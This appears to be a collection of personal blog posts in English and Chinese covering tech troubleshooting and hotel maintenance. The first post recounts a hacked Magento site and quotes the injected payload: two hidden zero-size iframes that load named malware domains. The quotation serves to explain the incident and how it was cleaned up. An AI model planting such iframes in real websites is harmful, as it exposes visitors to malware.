Magento site was compromised

It was my first time to see a hacker is close to me.

I was flooded with notification emails from Google Adsense subjected “Your AdSense Publisher Policy Violation Report” from yesterday afternoon. I immediately tried to visit either blog.goods-pro.com or goods-pro.com to see what was going on. I got a scary warning message saying either site contains malware by Chrome and Firefox (on desktop. Chrome for Android does not do safe browsing check. I don’t know if Firefox does so.)

It took me a while to find out which site contains malware. As blog.goods-pro.com was using AdSense but goods-pro.com wasn’t, at first I thought it was blog.goods-pro.com that were hacked. blog.goods-pro.com was powered by WordPress, so I went through all the plugins and compared with my other WordPress sites, I didn’t find a suspicious plugin.

Then I started to look into the main domain site goods-pro.com, which was installed with Magento. It took me quite a while for me to know there was a good tool from https://sitecheck.sucuri.net/ to check what malware was on the site.

Then it took me another while to find out how the hacker did it. Basically the hacker compromised one of admin’s (not mine) password, and add the following code in three places (design/footer/copyright, design/head/includes, design/footer/absolute_footer) in Magento System >> Configuration.

<iframe src=”https://hersosx2sk.tk/Rnjqs3″ frameborder=”0″ width=”0″ height=”0″></iframe><iframe src=”https://mytokeasn2s.ru/mwRwD7″ frameborder=”0″ width=”0″ height=”0″></iframe>

hersosx2sk.tk and mytokeasn2s.ru are malware sites. And if a site links to them, it is regarded as malware site as well. 

When I disabled access of compromised admin accounts (without removing the injected code), I found Chrome and Firefox stopped giving that scary warnings, and visits to hersosx2sk.tk or mytokeasn2s.ru are redirected to Google. I don’t understand how Google can take control of these domains so quick, but anyway, it is not my business.

At last I removed all malware codes and requested AdSense a review of blog.goods-pro.com.

对孩子有信心他就能成才,对华为有信心她就能开机

Huawei Mate 9
Huawei Mate 9

我有一台华为新手机 Mate 9,半年前开了一次机,没有插SIM卡也没有关机就扔在抽屉里扔了半年多。因为 Mate 8 太强悍,丝毫没有退休的迹象,直到皮套磨得实在不成样子,想起来还是换个新机子吧。捞出 Mate 9 一看,没电并且充不进电(充电灯不亮)。网上查了一下这种症状,术语叫做慢速放电(因为没有 SIM 和 Wi-Fi)、长时间闲置而导致的过度放电,简单点说就是电池放电放到连充电的力气都没有了。解决的办法是以下几种:

  • 用电脑 USB 口充电
  • 不管有没有反应,就一直插着充
  • 长按 Power 键
  • 长按 Power 和 Volume – 两键
  • 把电池取出来充电

除了最后一种没试过,其他我都多次试过,没有用。非得送修才能开机吗?我始终觉得华为质量不会辜负善良的我,所以我就把 Mate 9 一直充电,哪怕它丝毫没有反应。直到有一天,我坐在沙发上看孩子们玩跳舞毯,刚好 Mate 9 在沙发边默默地被充电。这时我心里有一种不股哪里来的坚定的信念:华为的高端机型、又是全新的,还没开始用就去返修的几率是极小的,在我这里可以忽略,我要把她弄醒过来。手里闲着也是闲着,于是我开始重复做以下动作:

  1. 按住 Power 和 Volume – 两键十秒钟
  2. 放开十秒钟
  3. 把 Type C 拔出来十秒钟后再插回去

不知做了几个周天,突然,Mate 9 在手心了轻微震了一下。我大喜,低头一看充电灯以 1 Hz 的频率一闪一灭,我不敢再动,任由她呼吸个把小时,再尝试开机。发现不能用 Power 一键开机,就用 Power 和 Volume – 两键强制开机。不管是一键还是两键,能够开机就是好机。这时我发现之前呼吸灯状态并没有被充电,开机以后才开始充电。充满后第一次拔了 Type C,Mate 9 突然就掉电关机,但这只是小插曲,再次开机就一次正常了。

华为果然不负我所望!

Best SIP client soft phone is GS Wave

I have tried almost every VOIP soft phone app on Google Play. Before I found GS Wave, I reckoned Zoiper app was the best soft phone, thus I paid for its premium version to get its premium feature of video call.

However I never got this feature working. I wanted to see the video from my video door phone on my mobile with Zoiper. My video door phone supports H264 video codec but Zoiper supports VP8 unless I pay Zoiper again just for H264 codec . Unlike audio codec while a VOIP server can translate audio codec between clients, video codec is said to be P2P. (There may be a way of video codec translation, but I don’t know how.)

I had video calls working between my video door phone and desktop SIP phones which are “hard phones” with H264 built in. And I had audio calls working on all devices. So I was not desperate for video on Zoiper.

Zoiper has a major defect. It cannot stay online 24/7 on latest Android version (I tested on two Huawei Mate 8 and one P9) or iOS. Many times status bar shows it is online but actually it is not reachable. Zoiper was reliable on Android 4.x.x. I guess Zoiper “forgets” to re-register itself when OS goes into sleep. For above reasons I am reluctant to pay Zoiper any more money.

Recently I visited Fanvil website and discovered Fanvil had developed a soft phone called “Vdroid” for free download. To my surprise, Vdroid integrated G729 audio codec and H264 video codec. They are premium codec as on Zoiper. (Later on I learnt G729 patent expired on 1st Jan, 2017 but Zoiper is still selling G729 for money. I knew nothing about H264.) However Vdroid has too many bugs and is not a mature software.

Then I thought other VOIP device manufacturers might have their own soft phones for public. I checked Grandstream, Yealink and Cisco but only found Grandstream generously offering GS Wave. GS Wave has both Android and iOS version, and both works reliably, and both has G729 and H264 built in for free! I cannot wait any longer to recommend GS Wave to everyone. Google Play is overwhelmed by other apps for search results of “sip” or “voip”, and GS Wave is nowhere in the ranking. But trust me, it is the best one.

 

Our TVs were not connected to aerial for two years

两周之前来了一对夫妇客人,非常喜欢我们酒店的服务,回去以后还写邮件来表示感谢,我客套地回了信。之后他们又去 booking.com 给了满分评价,我看到了,连忙再发信表示感谢。他们见我态度积极,才跟我说,他们看其他台没问题,但看 BBC 1 台电视信号不太好,当时他们怀疑是暴雨所致,但第二天清晨暴雨停息,电视信号还是不好,直到他们退房前一刻才好。

我一看又是电视信号问题,就郁闷了。因为这个房间信号时好时不好由来已久,一般也是 BBC 1 台和 2 台有马赛克现象。每次我更换一个接头、或更换一根房间内的线缆、或重拉房间到分线盒的线缆、或更换分线盒,每次更换似乎当时都能得到相当好的电视信号,但是没过多久又变不好了。三、四个月前还劳师动众重铺了从楼顶信号放大器到分线盒的线缆,当时我说,经过这一轮,这条线路上除了天线和放大器,全部被我换成新的了,再也不会被信号不好所困扰了。

其实天线也装了不到两年,安装那天我不在,叫来一个“专业”电视天线安装公司装的。至于放大器好不好,每次我怀疑它不好,就替换法测试,它能让其他房间有很好的信号,所以我不认为放大器有问题。如今客人又说信号不好,我实在不知道该换什么了,能不郁闷吗?!

但是我还是决定换点什么看看。我有几个超级强悍的放大器,去年 Wickes clearance 时预存的货,但是由于新放大器采用更可靠的 F type 接口,而老放大器用的是普通 TV 插头,换放大器意味着全部线头要重做。我想放大器失效的可能性较小,同时也想偷懒,所以这次先换天线。我认为当初电视天线安装公司装的天线不够灵敏,才造成这信号时好时不好的问题。经过一番挑选,买了一款高增益、体积也是巨无霸型的天线。

今天趁着天好,和维修工爬到屋顶,拆下了旧天线,接上新天线。然后我回到房间观察信号强度,维修工留在屋顶不停调整天线角度。非常奇怪的是,随着角度变换,电视信号强度也在 0 到 5 格满格之间变化。

为什么我说“非常奇怪”?因为当我们找到一个最佳角度以后,维修工把天线固定好,然后固定线缆。这根线缆之前接在旧天线上,线缆一头接天线,另一头插进了一片瓦片,当时我以为是通到位于阁楼的放大器。瓦片缝里还露有另一根线缆光头,丢弃在一边,当时我以为这根弃用的线缆是更早的时候用来连接天线和放大器的。维修工扯了扯连着天线的线缆,结果整根线缆就拉出来了,它的另一端就是丢弃在一边的线缆光头。原来之前的天线根本没有连到任何地方!

为什么没有天线还能接收信号,只是有时信号不好?我猜这栋楼里的连接各房间电视的线缆组成了一个低质量的天线(由此可见这个城市的电视信号很强——这么差的接收系统还能磕磕碰碰地看了两年电视)。

为什么新天线没有接入放大器,还能影响电视信号?我猜它的角度是能改变周围电磁场的分布(由此可见新天线的干扰能力很强大,接收能力也应该很强大)。

我很不满当年的电视天线安装公司。它要么就是不够专业,装了天线也不测试一下有没有连接成功;要么就是故意糊弄人。

整栋楼的电视居然没有天线。这个重大缺陷我居然花了两年才发现。这也是我不愿接手别人做的系统,宁愿自己装修的原因。

Insert regular hexagon in Word

坑爹的 Word 插入的六边形竟然不是正六边形,即使按住 Shift 键拖出来的也不是正六边形。当然我也有责任,Word 在插入六边形时从来没说这是正六边形(Word 插入五边形时提示是正五边形)。

虽然不是正六边形,但在没有尺子、没有参照物的情况下,我也没发现它不是正六边形。我是在画一个以正六边形为基本形状的 logo 草图,以便向设计师传达我的想法。陆陆续续画了两天,发现某两条边总是不相等——如果是在正六边形上作图,这两条边会等长。

我以为我的平面几何知识已经退化成零,一遍又一遍地验算一道只有初一几何题难度的 logo 分解图,始终不能把两条边调成等长。我甚至怀疑我的显示器纵横比出问题了,耗了两天才想起来去量一量 Word 一开始插入的六边形是不是正六边形。一量,不是,晕厥!

My hotel logo draft
My hotel logo draft

知道它不是正六边形,把它调整为正六边形就很简单了——先插入一个六边形,不用按住 Shift,按住也没用,插入的宽高比不是 1:1,也不是正六边形的应有的√3/2,必须手动调整一下宽高比成 0.866 左右。作一条水平线,再旋转 30 度,以之为基准,按住六边形的黄点,拖动直到六边形的某边与基准线重合或平行。

List all orphaned files in Google Drive

我们办公室里曾经用 Google Drive 做文件管理,我们需要文件共享、本地编辑、云同步这几个主要的特性。理论上 Google Drive 能做到,但实际使用中并不理想,它只有 Windows 版的同步程序,经常为一个文件同步出好几份拷贝,引起混淆。我觉得病根在于 Windows 和 Linux/Unix 文件结构的差异性,如果有 Linux 版的同步程序会好一些,可是一直没等到。

其实我也太折腾 Google Drive:我把 Google Drive Sync 安装在一台 Windows PC,设定的同步文件夹在 NAS 的 Simba 共享上(否则绕不开 Sync 对文件的权限设定,无法让多人使用)。这种非常规的设置一直用得磕磕绊绊,直到某一天,我意识到 Google Drive 不是为多人多地共享设计的,于是改用 FreeNAS。

其实今天扯远了。今天是讲我发现 Google Drive 可以列出所有的 orphaned files,搜索条件就是“is:unorganized owner:me”。这些孤儿文件就是在别人的共享文件夹创建的,在宿主文件夹被删除以后,其下的文件因属主不同不会被删除,而是成了没有宿主文件夹的孤儿。

这些文件除了在属主的帐户里搜索,没有其他办法被找到。日积月累,孤儿文件越来越多,之前一直缺少一个办法列出所有的孤儿文件,问了 Google 几次无果,搞得我都想自己写一个搜索程序(当然还没动手),今天发现有办法了。

但懂得搜索“is:unorganized owner:me”可算是高级技巧了,我觉得 Google Drive 可以搞一个类似“Shared with me”的“Orphaned”标签,或者允许删除文件夹时一并删除其下有写权限文件,不论属主(这样也是安全的——既然创建者把文件创建在共享文件夹里允许别人修改,就也应该允许别人删除)。

Why DrayTek SmartVPN does not work in Windows 10?

Why DrayTek SmartVPN does not work in Windows 10? Well, it will work, but it does not work out of box. 

After installing SmartVPN in Windows 10, I set SmartVPN client to use remote gateway and DNS, then I can see VPN connection is green (as usual), and I can get public IP of remote gateway. However, the traffic is not fully routed to remote gateway. From the symptom I guess DNS is not routed to remote.

To fix this problem, I have to disable “Automatic metric” for TCP/IPv4 property of VPN connection, and manually set “Interface metric” to a figure that is smaller than the one of Local connection or Wi-Fi connection, whichever I am using to connect to the Internet.

The theory behind is simple – the smaller metric is, the higher priority of the route. By default settings Windows 10 cannot work out a suitable metric for VPN connection, but Windows 7 can. This is another proof of Windows is getting more stupid.

VPS that has fast connection with mainland China

由于众所周知的原因,中国内地访问国外网站的速度受很多不可控因素的影响。服务器提供商有各种各样的宣传,比如 CN2 专线、中港双线、三线直连,我试过,大概是专线资源太过昂贵,最终用户分配到的带宽有限,效果还不如百兆或千兆普通国际线路。多年来我一直在找事实上连接飞快的服务器,不管它配不配专线、做不做优化。

最近学到一招,可以在购买服务器之前量化评估线路速度:上 ipip.net,选“实用工具”>>“TraceRoute”,选择一个关心的线路,输入服务器提供商提供的测试 IP,如果所有节点的反应在 100ms 以内,就可以算连接飞快。

我测了无数家 VPS 提供商的 IP,目前就只发现一家符合连接飞快的要求。因为我还没买,所以暂时不公布。哪天我把芳草苑迁移过去了,你们自然也知道了。

My experience on Wi-Fi distribuion

我深刻理解一个 WiFi 全覆盖的宾馆环境对当代的旅行者是多么的重要,我看中了馈线系统,下决心用它来改善客人的入住体验。但我在电子领域非常无知,如今摸着石子过了河,非常乐意跟大家分享我的心得。

  • 尽量使用柔性馈线。我的馈线总长不超过30米,却用了不易弯曲的直径10mm的 LMR400,给安装带来了很大的困难,对比使用直径 5mm 的柔性馈线所节省的损耗,不太值得。
  • 尽量使用密集天线。我为了少安装几个天线,每楼层过道使用了一个“工业级”的高增益天线,个头大,样子怪怪的,但穿墙效果同样不好,不如每个房间里装一个微型天线。
  • 尽量备齐转接头,英国的转接头又是杀猪价,这种配件能从中国买就不要从英国买。我经验不足,前瞻不够,这小小的工程用了十几种转接头,前后反复采购近十次,走了很多弯路。
  • 其他东西可以从中国买,馈线倒可以在英国采购。在中国买所谓的进口馈线也很贵,还不知真假。英国馈线当然贵,但清仓价很实惠,我想着以后会复制我的成功经验,就多囤了一些货。
  • 标称为 800 – 2500 Mhz 的功分器完全能用在 5800 Mhz 的 WiFi,估计缺点是损耗较大,但短程传输完全可以忽略这些不利因素。
  • 我的双频 AP 的双天线分别传输 2.4G 和 5.8G WiFi。如果馈线只接一路,比如接 2.4G 这一路,那么 2.4G 覆盖完成,另一路的 5.8G 信号强度也会很大(满格),但信号质量很差,无法在 5.8G 传输数据,这让我深刻理解了信号强度和信号质量是完全两个概念,没有正比关系。当时还闹了一个笑话:因为调试时我不知道接的是哪一路信号,发现 5.8G 这一路上不了网,我问 Google “信号强度大但信号质量差是怎么回事”,Google 指示可能是“信号干扰”。因为铺设的馈线跟电力线并行,我暗想精挑细选的 LMR400 线缆屏蔽性这么差,后来查明真正的原因,发现错怪 LMR400 了。
  • 贯穿楼层我只铺了一根馈线,当发现 AP 的双频是分路输出后,我开始寻找双频合路的元器件。可是这么专业的东西不好找啊,万能的淘宝确实有卖,但只有一家,似乎卖家已黄了,总不在线。百度百科上说功分器就是合路器,我就尝试反用了腔体功分器将双频合路,激动地发现这么廉价的元器件和简单的方法也能成功合路传输双频信号。于是感慨三件事:百度也有靠谱的时候、便宜也有好货、实践出真知。前二者未必总是为真,但第三者永远正确。

花了这么大精力学做无线分布,为什么不用市面上唾手可得的 WiFi extender?好吧,给你们科普一下:家用级的 WiFi extender 不稳定,三天两头重启,商业级的 WiFi extender 也很贵,不如花点时间来布线。另外 WiFi extender 存在同频竞争、无法无缝漫游等问题。为什么不用 ACAP 来实现无缝漫游?还是成本、稳定性、带机量三方面的考虑,ACAP 方案还是留给更大的项目吧。

Call to undefined function music_list()

今天在 FreePBX 里试图编辑一个分机,点了编辑结果出现一个错误:Call to undefined function music_list()。

好端端怎么有了这么个错误?后来发现是没有安装 Music On Hold 模块的缘故,安装并启用这个模块,错误就消失了。

可是我不需要 Music On Hold 模块啊,记得之前也是为了应付一个错误安装了不需要的 Call Recording 模块。这样下去,模块越装越多,直到某一天 FreePBX 崩溃……